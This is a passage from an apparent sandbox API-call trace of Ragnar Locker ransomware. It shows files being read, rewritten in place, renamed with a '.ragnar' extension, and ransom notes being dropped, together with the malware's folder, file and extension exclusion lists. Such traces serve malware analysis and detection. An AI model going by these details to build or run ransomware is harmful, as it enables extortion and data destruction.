files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0067.181] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=47710) returned 1 [0067.181] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xba55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.183] GetProcessHeap () returned 0x580000 [0067.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0067.183] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0067.196] VirtualAlloc (lpAddress=0x0, dwSize=0xba5e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0067.196] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.196] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0067.196] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xba5e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xba5e, lpOverlapped=0x0) returned 1 [0067.199] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0067.199] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xba5e, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.199] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xba5e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xba5e, lpOverlapped=0x0) returned 1 [0067.201] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xba5e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.201] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.202] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xba5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.202] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.202] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.202] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.202] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0067.202] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.202] GetProcessHeap () returned 0x580000 [0067.202] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0067.202] CloseHandle (hObject=0x100) returned 1 [0067.203] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" [0067.203] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.ragnar_FD7BD9FC" [0067.203] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0067.204] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a02f720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7a02f720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0067.204] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0067.204] lstrcpyW (in: lpString1=0x1eb668, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0067.204] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\RGNR_FD7BD9FC.txt") returned=".txt" [0067.204] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0067.204] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a02f720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7a02f720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0067.204] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0067.204] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2=".") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="..") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="Windows") returned -1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="Windows.old") returned -1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="Tor browser") returned -1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="Internet Explorer") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="Google") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="Opera") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="Opera Software") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="Mozilla") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="Mozilla Firefox") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="$Recycle.Bin") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="ProgramData") returned 1 [0067.204] lstrcmpiW (lpString1="PROOF", lpString2="All Users") returned 1 [0067.205] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0067.205] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="PROOF" | out: lpString1="PROOF") returned="PROOF" [0067.205] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" [0067.205] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" [0067.205] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\RGNR_FD7BD9FC.txt" [0067.205] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0067.207] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*" [0067.207] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3c [0067.207] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0067.207] lstrcpyW (in: lpString1=0x1eb21e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0067.207] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a4cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a4cc1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0067.208] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0067.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a4cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a4cc1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.208] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0067.208] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0067.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0067.208] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".") returned 1 [0067.208] lstrcmpiW (lpString1="MSLID.DLL", lpString2="..") returned 1 [0067.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0067.208] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".") returned 1 [0067.208] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="..") returned 1 [0067.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0067.208] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".") returned 1 [0067.208] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="..") returned 1 [0067.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0067.208] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".") returned 1 [0067.208] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="..") returned 1 [0067.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4cc1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7a4cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0067.208] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0067.208] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0067.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4cc1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7a4cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0067.208] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0067.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a4cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a4cc1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0067.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a4cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a4cc1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0067.208] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3c [0067.209] lstrcpyW (in: lpString1=0x1eb632, lpString2="MSLID.DLL" | out: lpString1="MSLID.DLL") returned="MSLID.DLL" [0067.209] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned=".DLL" [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="autorun.inf") returned 1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="boot.ini") returned 1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="bootfont.bin") returned 1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="bootsect.bak") returned 1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="bootmgr") returned 1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="bootmgr.efi") returned 1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="bootmgfw.efi") returned 1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="desktop.ini") returned 1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="iconcache.db") returned 1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="ntldr") returned -1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="ntuser.dat") returned -1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="ntuser.dat.log") returned -1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="ntuser.ini") returned -1 [0067.209] lstrcmpiW (lpString1="MSLID.DLL", lpString2="thumbs.db") returned -1 [0067.209] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0067.209] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0067.209] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0067.209] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0067.209] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3c [0067.209] lstrcpyW (in: lpString1=0x1eb632, lpString2="MSWDS_EN.LEX" | out: lpString1="MSWDS_EN.LEX") returned="MSWDS_EN.LEX" [0067.209] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned=".LEX" [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="autorun.inf") returned 1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="boot.ini") returned 1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="bootfont.bin") returned 1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="bootsect.bak") returned 1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="bootmgr") returned 1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="bootmgr.efi") returned 1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="bootmgfw.efi") returned 1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="desktop.ini") returned 1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="iconcache.db") returned 1 [0067.209] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="ntldr") returned -1 [0067.210] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="ntuser.dat") returned -1 [0067.210] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="ntuser.dat.log") returned -1 [0067.210] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="ntuser.ini") returned -1 [0067.210] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="thumbs.db") returned -1 [0067.210] lstrcmpiW (lpString1=".LEX", lpString2=".db") returned 1 [0067.210] lstrcmpiW (lpString1=".LEX", lpString2=".sys") returned -1 [0067.210] lstrcmpiW (lpString1=".LEX", lpString2=".dll") returned 1 [0067.210] lstrcmpiW (lpString1=".LEX", lpString2=".lnk") returned -1 [0067.210] lstrcmpiW (lpString1=".LEX", lpString2=".msi") returned -1 [0067.210] lstrcmpiW (lpString1=".LEX", lpString2=".drv") returned 1 [0067.210] lstrcmpiW (lpString1=".LEX", lpString2=".exe") returned 1 [0067.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 0x20 [0067.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0067.211] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=444027) returned 1 [0067.211] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6c672, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.211] GetProcessHeap () returned 0x580000 [0067.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0067.211] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0067.212] VirtualAlloc (lpAddress=0x0, dwSize=0x6c67b, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0067.213] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.213] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0067.213] ReadFile (in: hFile=0x10c, lpBuffer=0x300000, nNumberOfBytesToRead=0x6c67b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1eaf34*=0x6c67b, lpOverlapped=0x0) returned 1 [0067.230] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0067.233] LockFile (hFile=0x10c, 